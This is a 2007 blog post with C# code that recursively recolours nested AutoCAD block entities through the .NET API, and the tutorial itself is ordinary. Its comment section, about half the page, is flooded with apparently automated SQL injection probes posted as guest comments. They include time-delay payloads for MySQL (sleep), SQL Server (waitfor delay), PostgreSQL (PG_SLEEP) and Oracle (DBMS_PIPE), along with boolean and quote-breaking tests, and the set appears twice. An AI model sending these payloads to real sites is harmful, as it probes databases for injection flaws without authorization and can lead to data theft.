2007年2月2日

Changing the colour of nested AutoCAD entities through .NET

Changing the colour of nested AutoCAD entities through .NET

Changing the colour of nested AutoCAD entities through .NET

Someone asked me earlier today how to iteratively change the color of entities inside blocks.

The following code uses a recursive helper function to iterate down through the contents of a block, changing the various entities (other than block references, for which we simply recurse) to a specified colour.

Here's the C# code:

using Autodesk.AutoCAD.ApplicationServices;

using Autodesk.AutoCAD.DatabaseServices;

using Autodesk.AutoCAD.EditorInput;

using Autodesk.AutoCAD.Runtime;

using Autodesk.AutoCAD.Colors;


namespace BlockTest

{

  public class BlockCmds

  {

    [CommandMethod("CC")]

    public void ChangeColor()

    {

      Document doc =

        Application.DocumentManager.MdiActiveDocument;

      Database db = doc.Database;

      Editor ed = doc.Editor;


      PromptIntegerResult pr =

        ed.GetInteger(

          "\nEnter color index to change all entities to: "

        );


      if (pr.Status == PromptStatus.OK)

      {

        short newColorIndex = (short)pr.Value;

        ObjectId msId;

        Transaction tr =

          doc.TransactionManager.StartTransaction();

        using (tr)

        {

          BlockTable bt =

            (BlockTable)tr.GetObject(

              db.BlockTableId,

              OpenMode.ForRead

            );

          msId =

            bt[BlockTableRecord.ModelSpace];


          // Not needed, but quicker than aborting

          tr.Commit();

        }

        int count =

          ChangeNestedEntitiesToColor(msId, newColorIndex);

        ed.Regen();

        ed.WriteMessage(

          "\nChanged {0} entit{1} to color {2}.",

          count,

          count == 1 ? "y" : "ies",

          newColorIndex

        );

      }

    }


    private int ChangeNestedEntitiesToColor(

      ObjectId btrId, short colorIndex)

    {

      int changedCount = 0;

      Document doc =

        Application.DocumentManager.MdiActiveDocument;

      Database db = doc.Database;

      Editor ed = doc.Editor;

      Transaction tr =

        doc.TransactionManager.StartTransaction();

      using (tr)

      {

        BlockTableRecord btr =

          (BlockTableRecord)tr.GetObject(

            btrId,

            OpenMode.ForRead

          );

        foreach (ObjectId entId in btr)

        {

          Entity ent =

            tr.GetObject(entId, OpenMode.ForRead)

            as Entity;


          if (ent != null)

          {

            BlockReference br = ent as BlockReference;

            if (br != null)

            {

              // Recurse for nested blocks

              changedCount +=

                ChangeNestedEntitiesToColor(

                  br.BlockTableRecord,

                  colorIndex

                );

            }

            else

            {

              if (ent.ColorIndex != colorIndex)

              {

                changedCount++;

                // Entity is only open for read

                ent.UpgradeOpen();

                ent.ColorIndex = colorIndex;

                ent.DowngradeOpen();

              }

            }

          }

        }

        tr.Commit();

      }

      return changedCount;

    }

  }

}

留下您的评论

评论 (58)

G
宾客 | 一年前

R8M6rT6a

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

-1 OR 2+992-992-1=0+0+0+1

G
宾客 | 一年前

-1 OR 3+992-992-1=0+0+0+1

G
宾客 | 一年前

if(now()=sysdate(),sleep(15),0)

G
宾客 | 一年前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
宾客 | 一年前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
宾客 | 一年前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
宾客 | 一年前

-1; waitfor delay '0:0:15' --

G
宾客 | 一年前

-1); waitfor delay '0:0:15' --

G
宾客 | 一年前

-1)); waitfor delay '0:0:15' --

G
宾客 | 一年前

1 waitfor delay '0:0:15' --

G
宾客 | 一年前

fD1KK1lm'; waitfor delay '0:0:15' --

G
宾客 | 一年前

Af5hFJmd'); waitfor delay '0:0:15' --

G
宾客 | 一年前

oHHuWxwB')); waitfor delay '0:0:15' --

G
宾客 | 一年前

-5 OR 808=(SELECT 808 FROM PG_SLEEP(15))--

G
宾客 | 一年前

-5) OR 707=(SELECT 707 FROM PG_SLEEP(15))--

G
宾客 | 一年前

-1)) OR 13=(SELECT 13 FROM PG_SLEEP(15))--

G
宾客 | 一年前

NvBv42Vd' OR 24=(SELECT 24 FROM PG_SLEEP(15))--

G
宾客 | 一年前

O5swFcZL') OR 801=(SELECT 801 FROM PG_SLEEP(15))--

G
宾客 | 一年前

WPlXeWGL')) OR 120=(SELECT 120 FROM PG_SLEEP(15))--

G
宾客 | 一年前


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
宾客 | 一年前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
宾客 | 一年前

1'"

G
宾客 | 一年前

1����%2527%2522

G
宾客 | 一年前

@@Jxu9K

G
宾客 | 11天前

zaKSt2tn

G
宾客 | 11天前

1*

G
宾客 | 11天前

1*

G
宾客 | 11天前

1*

G
宾客 | 11天前

1*

G
宾客 | 11天前

-1 OR 2+849-849-1=0+0+0+1

G
宾客 | 11天前

-1 OR 3+849-849-1=0+0+0+1

G
宾客 | 11天前

if(now()=sysdate(),sleep(15),0)

G
宾客 | 11天前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
宾客 | 11天前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
宾客 | 11天前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
宾客 | 11天前

-1; waitfor delay '0:0:15' --

G
宾客 | 11天前

-1); waitfor delay '0:0:15' --

G
宾客 | 11天前

-1)); waitfor delay '0:0:15' --

G
宾客 | 11天前

1 waitfor delay '0:0:15' --

G
宾客 | 11天前

5bOdfm4F'; waitfor delay '0:0:15' --

G
宾客 | 11天前

jSs1SuRk'); waitfor delay '0:0:15' --

G
宾客 | 11天前

PnGgcDpi')); waitfor delay '0:0:15' --

G
宾客 | 11天前

-5 OR 826=(SELECT 826 FROM PG_SLEEP(15))--

G
宾客 | 11天前

-5) OR 683=(SELECT 683 FROM PG_SLEEP(15))--

G
宾客 | 11天前

-1)) OR 386=(SELECT 386 FROM PG_SLEEP(15))--

G
宾客 | 11天前

jZfmt5zD' OR 265=(SELECT 265 FROM PG_SLEEP(15))--

G
宾客 | 11天前

1N2YvL2g') OR 899=(SELECT 899 FROM PG_SLEEP(15))--

G
宾客 | 11天前

EGXUvkFw')) OR 749=(SELECT 749 FROM PG_SLEEP(15))--

G
宾客 | 11天前


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
宾客 | 11天前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
宾客 | 11天前

1'"

G
宾客 | 11天前

1����%2527%2522

G
宾客 | 11天前

@@iyxBd